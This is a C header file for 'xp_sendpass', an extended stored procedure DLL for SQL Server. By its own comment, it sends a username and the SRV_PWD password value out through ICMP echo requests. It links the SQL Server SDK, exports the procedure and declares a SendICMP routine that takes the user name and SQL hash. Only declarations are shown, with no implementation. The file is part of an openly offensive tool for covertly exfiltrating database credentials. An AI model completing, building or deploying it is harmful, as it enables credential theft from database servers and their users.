// xp_sendpass.h
// ------------
// Extended stored procedure DLL for returning a username and SRV_PWD value
// via an ICMP echo request.

#pragma once

// Required libs
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib,"C:\\Program Files\\Microsoft SQL Server\\90\\SDK\\Lib\\x86\\opends60.lib")
//                      ^^ this is the default path - adjust as needed if yours differs ^^

#define WIN32_LEAN_AND_MEAN

#include <Windows.h>
#include <iphlpapi.h>
#include <Icmpapi.h>
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdlib.h>
#ifndef UNICODE
#include <stdio.h>
#endif
#include <sqlext.h>
#include <tchar.h>
#include <srv.h>

#ifndef XP_NOERROR
#define XP_NOERROR				0			// Used for Sql_Send* functions
#endif
#ifndef XP_ERROR
#define XP_ERROR				1			// Used for Sql_Send* functions
#endif

#define TACOS_RULE				1

// Globals
DWORD	dwTOTALROWS = 0;

// Exports
#ifdef __cplusplus
extern "C"
{
	#endif
	__declspec(dllexport) ULONG __GetXpVersion();
	#ifdef __cplusplus
}
#endif

#ifdef __cplusplus
extern "C"
{
	#endif
	__declspec(dllexport) SRVRETCODE xp_sendpass(SRV_PROC *srvproc);
	#ifdef __cplusplus
}
#endif

// Functions
SRVRETCODE	SqlSendPass(SRV_PROC *srvproc);
SRVRETCODE	Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg);
SRVRETCODE	Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczMsg);
SRVRETCODE	SendICMP(TCHAR* tczUserName, TCHAR* tczSqlHash, TCHAR* tczParams);
bool		GetParamInfo(SRV_PROC *srvproc,int iParam,TCHAR** tcBuffer);
bool		NormalizeSqlData(void* pbData,TCHAR** tczClientRequest,ULONG pcbActualLen,BYTE pbType);
